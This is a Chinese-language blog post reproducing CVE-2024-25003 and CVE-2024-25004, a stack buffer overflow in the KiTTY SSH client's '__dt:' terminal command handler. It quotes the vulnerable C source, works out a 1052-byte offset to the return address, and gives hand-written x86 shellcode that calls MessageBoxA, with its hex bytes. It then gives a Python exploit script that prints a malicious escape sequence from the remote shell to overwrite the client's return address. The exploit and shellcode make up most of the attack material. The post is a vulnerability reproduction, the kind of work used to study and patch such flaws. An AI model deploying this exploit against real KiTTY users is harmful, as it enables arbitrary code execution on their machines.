cve-2024-25003&cve-2024-25004复现

漏洞详情:

源代码:点击这里

如下图:

也就是图中的if语句:

当cmd的前三位为dt:时会进入这个if中,随后会执行strcpy(host,cmd+3);这就会导致缓冲区溢出进而导致任意代码执行。

software os 调试 信息收集 ssh目标主机
 KiTTY ≤ 0.76.1.13  windows 11/10/8/7/XP x32dbg Depends kail

分析:

首先我们可以看到必须有dt:进入这个if语句:

之后就可以加上我们的exp了

我们的计划是填入shellcode直接覆盖返回地址然后执行shellcode

首先查看shellcode地址:

随机输入一些字符之后发现shellcode在如下位置,并且每次调试都是一样的 :

当strcpy函数执行完毕之后

可以看到在0x0084e370这个地址就是shellcode

的位置,我们直接将返回地址覆盖为这个地址;

int ManageLocalCmd( HWND hwnd, const char * cmd ) {

    if( !LocalCmdFlag ) { return 0 ; } // Disable all __xy commands
    
    char buffer[1024] = "", title[1024] = "" ;
    if( debug_flag ) { debug_logevent( "Local command: %s", cmd ) ; }
    if( cmd == NULL ) return 0 ;
    if( (cmd[2] != ':')&&(cmd[2] != '\0') ) return 0 ;
    if( (cmd[2] == ':')&&( strlen( cmd ) <= 3 ) ) return 0 ;
    
    if( (cmd[0]=='d')&&(cmd[1]=='t')&&(cmd[2]==':') ) { // __dt: start a duplicated session in same directory, same host and same user : dt() { printf "\033]0;__dt:"$(hostname)":"${USER}":"`pwd`"\007" ; }
        char host[1024]="";char user[256]="";
        int i;
        if( RemotePath!= NULL ) free( RemotePath ) ;
        RemotePath = (char*) malloc( strlen( cmd ) - 2 ) ;
        strcpy(host,cmd+3);i=poss(":",host);
        strcpy(user,host+i);
        host[i-1]='\0';
        i=poss(":",user);
        strcpy( RemotePath, user+i ) ;
        user[i-1]='\0';
        RunSessionWithCurrentSettings( hwnd, conf, host, user, NULL, 0, RemotePath ) ;
        return 1 ;
    } else if( (cmd[0]=='i')&&(cmd[1]=='n')&&(cmd[2]==':') ) { // __in: print informations in log
        debug_logevent(cmd+3) ;
        return 1 ;
    } else if( (cmd[0]=='l')&&(cmd[1]=='s')&&(cmd[2]==':') ) { // __ls: start a local script in remote session
        RunScriptFile( hwnd, cmd+3 ) ;
        return 1 ;
    } else if( (cmd[0]=='p')&&(cmd[1]=='w')&&(cmd[2]==':') ) { // __pw: new remote directory
        if( RemotePath!= NULL ) free( RemotePath ) ;
        RemotePath = (char*) malloc( strlen( cmd ) - 2 ) ;
        strcpy( RemotePath, cmd+3 ) ;
        return 1 ;
    } else if( (cmd[0]=='r')&&(cmd[1]=='v')&&(cmd[2]==':') ) { // __rv: getting one file
        GetOneFile( hwnd, RemotePath, cmd+3 ) ;
        return 1 ;
    } else if( (cmd[0]=='t')&&(cmd[1]=='i')&&(cmd[2]=='\0') ) { // __ti: getting remote window title
        GetWindowText( hwnd, buffer, 1024 ) ;
        sprintf( title, "printf \"\\033]0;%s\\007\"\n", buffer ) ;
        SendStrToTerminal( title, strlen(title) ) ;
        return 1 ;
    } else if( (cmd[0]=='w')&&(cmd[1]=='s')&&(cmd[2]==':') ) { // __ws: start WinSCP into provided directory
        if( RemotePath!= NULL ) free( RemotePath ) ;
        RemotePath = (char*) malloc( strlen( cmd ) - 2 ) ;
        strcpy( RemotePath, cmd+3 ) ;
        StartWinSCP( hwnd, RemotePath, NULL, NULL ) ;
        return 1 ;
    } else if( (cmd[0]=='w')&&(cmd[1]=='t')&&(cmd[2]==':') ) { // __wt: start WinSCP on a provided host, with a specific user and in a directory
        char host[1024]="";char user[256]="";
        int i;
        if( RemotePath!= NULL ) free( RemotePath ) ;
        RemotePath = (char*) malloc( strlen( cmd ) - 2 ) ;
        strcpy(host,cmd+3);i=poss(":",host);
        strcpy(user,host+i);
        host[i-1]='\0';
        i=poss(":",user);
        strcpy( RemotePath, user+i ) ;
        user[i-1]='\0';
        StartWinSCP( hwnd, RemotePath, host, user ) ;
        // free( RemotePath ) ; RemotePath = NULL ;
        return 1 ;
    }
    
    if( !LocalUnsecureCmdFlag ) { return 0 ; } // Disable only unsecure __xy commands
    if( (cmd[0]=='c')&&(cmd[1]=='m')&&(cmd[2]==':') ) { // __cm: run an external command locally
        RunCommand( hwnd, cmd+3 ) ;
        return 1 ;
    } else if( (cmd[0]=='d')&&(cmd[1]=='s')&&(cmd[2]==':') ) { // __ds: start a duplicated session un same directory : ds() { printf "\033]0;__ds:`pwd`\007" ; }
        if( RemotePath!= NULL ) free( RemotePath ) ;
        RemotePath = (char*) malloc( strlen( cmd ) - 2 ) ;
        strcpy( RemotePath, cmd+3 ) ;
        if( debug_flag ) { debug_logevent( "Start the same session in remote path: %s", RemotePath ) ; }
        RunSessionWithCurrentSettings( hwnd, conf, NULL, NULL, NULL, 0, RemotePath ) ;
        return 1 ;
    } else if( (cmd[0]=='i')&&(cmd[1]=='e')&&(cmd[2]==':') ) { // __ie: start default browser on provided URL
        if( strlen(cmd+3)>0 ) {
            urlhack_launch_url(!conf_get_int(conf,CONF_url_defbrowser)?conf_get_filename(conf,CONF_url_browser)->path:NULL, (const char *)(cmd+3));
            return 1;
        }
    } else if( (cmd[0]=='p')&&(cmd[1]=='l')&&(cmd[2]==':') ) { // __pl: start a plink command
        RunExternPlink( hwnd, cmd+3 ) ;
        return 1 ;
    }
    
    return 0 ;
}

从这段代码中计算出共有16个字符,且有一个1024的数组,有一个i变量占4个字节,还有ebp占8个字节总共1052个字节就可以覆盖到返回地址。

接下里写一下shellcode

我们计划调用MessgaeBoxA函数来显示一个字符串,首先我们查看函数的地址

可以看到函数的地址为77290d80,由于0d是一个截断字符串会导致后边的字符被截断,因此不能直接出现在shellcode中,这里我们使用一个小技巧:

mov eax,0x994b2fa2
mov ebx,0x22222222
sub eax,ebx
call eax

这样就可以使得调用这个地址了

 

XOR     EBX,EBX    ;EBX清零入栈,作为字符串的截断
PUSH    EBX
PUSH 0x21212174
PUSH 0x736f6867
PUSH 0x20796220
PUSH 0x64656b63
PUSH 0x61682065
PUSH 0x72657720
PUSH 0x756f7921
PUSH 0x676e696e
PUSH 0x6e726177 ;此为字符串的的Ascii码
8BC4        MOV     EAX,ESP    ;ESP 作为刚刚输入的字符串的指针复制给ESP
53          PUSH    EBX
50          PUSH    EAX
50          PUSH    EAX
53          PUSH    EBX        ;参数入栈从右向左(0,str,str,0)
MOV EAX ,0x994b2fa2
MOV EBX ,0x22222222
SUB EAX,EBX
CALL EAX

接下来就是生成机器码了,我们使用这个网站生成

https://defuse.ca/online-x86-assembler.htm#disassembly

  

\x31\xDB\x53\x68\x74\x21\x21\x21\x68\x67\x68\x6F\x73\x68\x20\x62\x79\x20\x68\x63\x6B\x65\x64\x68\x65\x20\x68\x61\x68\x20\x77\x65\x72\x68\x21\x79\x6F\x75\x68\x6E\x69\x6E\x67\x68\x77\x61\x72\x6E\x89\xE0\x53\x50\x50\x53\xB8\xA2\x2F\x4B\x99\xBB\x22\x22\x22\x22\x29\xD8\xFF\xD0

然后就是写exp脚本利用漏洞了

import sys
import os
import struct 
shellcode = b'\x31\xDB\x53\x68\x74\x21\x21\x21\x68\x67\x68\x6f\x73\x68\x20\x62\x79\x20\x68\x63\x6b\x65\x64\x68\x65\x20\x68\x61\x68\x20\x77\x65\x72\x68\x21\x79\x6f\x75\x68\x6e\x69\x6e\x67\x68\x77\x61\x72\x6e\x89\xe0\x53\x50\x50\x53\xb8\xa2\x2f\x4b\x99\xbb\x22\x22\x22\x22\x29\xd8\xff\xd0'
shellcode +=b'\x90'*(1052-len(shellcode))
return_address = struct.pack('<I',0x0084e370)
payload =b'\033]0;__dt:'+shellcode+return_address+b'\007'
stdout = os.fdopen(sys.stdout.fileno(),'wb')
stdout.write(payload)
stdout.flush()

 利用的过程也很简单:

打开kitty软件

输入你的linux虚拟机的IP地址,端口默认为22:

然后回撤,之后输入用户名密码登录,然后再模拟的shell中运行这个脚本软件就可以达到利用漏洞的效果了。

这样就打开窗口了,当然除了这个还可以干很多事,这事最基础的,也是能够证明这个漏洞的危险性。

posted @ 2024-04-02 22:41  robot__i  阅读(49)  评论(0)    收藏  举报